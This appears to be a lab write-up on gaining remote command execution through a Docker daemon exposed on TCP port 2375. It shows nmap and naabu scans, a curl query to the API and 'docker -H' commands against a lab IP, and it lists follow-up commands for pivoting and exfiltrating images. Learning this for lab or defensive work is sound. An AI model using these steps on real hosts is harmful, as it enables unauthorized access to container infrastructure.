Post

Remote Code Execution via Exposed Docker Daemon

Remote Code Execution via Exposed Docker Daemon

The Docker Engine TCP Sockets Edition

“The Docker Engine TCP Sockets Edition” refers to a configuration where the Docker daemon, the core component of the Docker Engine, is set up to listen for connections on a TCP socket instead of the default Unix socket, allowing external clients to connect to the Docker Engine over the network using a standard TCP port, rather than relying on a local Unix socket file located on the host machine.

Docker can be remotely administrated. For example, using management tools such as Portainer or Jenkins to deploy containers to test their code (yay, automation!).

The Vulnerability

The Docker Engine will listen on a port when configured to be run remotely. The Docker Engine is easy to make remotely accessible but difficult to do securely. The vulnerability here is Docker is remotely accessible and allows anyone to execute commands. First, we will need to enumerate.

Enumerating: Finding Out if a Device Has Docker Remotely Accessible

By default, the engine will run on port 2375. We can confirm this by performing an Nmap scan against the target (10.10.62.80)

1
2
3
4
5
6
7
8
9
10
11
12
[iamroot@parrot]$ nmap -sV -p 2375 10.10.62.80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 21:37 IST
Nmap scan report for 10.10.62.80
Host is up (0.48s latency).

PORT     STATE SERVICE VERSION
2375/tcp open  docker  Docker 20.10.20 (API 1.41)
Service Info: OS: linux

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.58 seconds

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[iamroot@parrot]$ naabu -p - 10.10.62.80

                  __
  ___  ___  ___ _/ /  __ __
 / _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/ v2.0.5

		projectdiscovery.io

Use with caution. You are responsible for your actions
Developers assume no liability and are not responsible for any misuse or damage.
[INF] Running CONNECT scan with non root privileges
[INF] Found 3 ports on host 10.10.62.80 (10.10.62.80)
10.10.62.80:2222
10.10.62.80:22
10.10.62.80:2375

Looks like it’s open; we’re going to use the curl command to start interacting with the exposed Docker daemon. Confirming that we can access the Docker daemon: curl http://10.10.62.80:2375/version

1
2
3
4
[iamroot@parrot]$ curl http://10.10.62.80:2375/version

{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"20.10.20","Details":{"ApiVersion":"1.41","Arch":"amd64","BuildTime":"2022-10-18T18:18:12.000000000+00:00","Experimental":"false","GitCommit":"03df974","GoVersion":"go1.18.7","KernelVersion":"5.15.0-1022-aws","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.6.8","Details":{"GitCommit":"9cd3357b7fd7218e4aec3eae239db1f68a5a6ec6"}},{"Name":"runc","Version":"1.1.4","Details":{"GitCommit":"v1.1.4-0-g5fd4c4d"}},{"Name":"docker-init","Version":"0.19.0","Details":{"GitCommit":"de40ad0"}}],"Version":"20.10.20","ApiVersion":"1.41","MinAPIVersion":"1.12","GitCommit":"03df974","GoVersion":"go1.18.7","Os":"linux","Arch":"amd64","KernelVersion":"5.15.0-1022-aws","BuildTime":"2022-10-18T18:18:12.000000000+00:00"}

Executing Docker Commands on Our Target

For this, we’ll need to tell our version of Docker to send the command to our target (not our own machine). We can add the “-H” switch to our target. To test if we can run commands, we’ll list the containers on the target: docker -H tcp://10.10.62.80:2375 ps

1
2
3
4
5
6
[iamroot@parrot]$ docker -H tcp://10.10.62.80:2375 ps

CONTAINER ID   IMAGE        COMMAND               CREATED        STATUS             PORTS                               NAMES
7b7461f9882e   dockertest   "/usr/sbin/sshd -D"   4 months ago   Up About an hour   0.0.0.0:22->22/tcp, :::22->22/tcp   beautiful_pasteur


What Now

Now that we’ve confirmed that we can execute docker commands on our target, we can do all sorts of things. For example, start containers, stop containers, delete them, or export the contents of the containers for us to analyse further. It is worth recalling the commands covered in Intro to Docker. However, I’ve included some commands that you may wish to explore:

Command
Description
network lsUsed to list the networks of containers, we could use this
to discover other applications running and pivot to them
from our machine!
imagesList images used by containers; data can also be exfiltrated
by reverse-engineering the image.
execExecute a command on a container.
runRun a container.
This post is licensed under CC BY 4.0 by the author.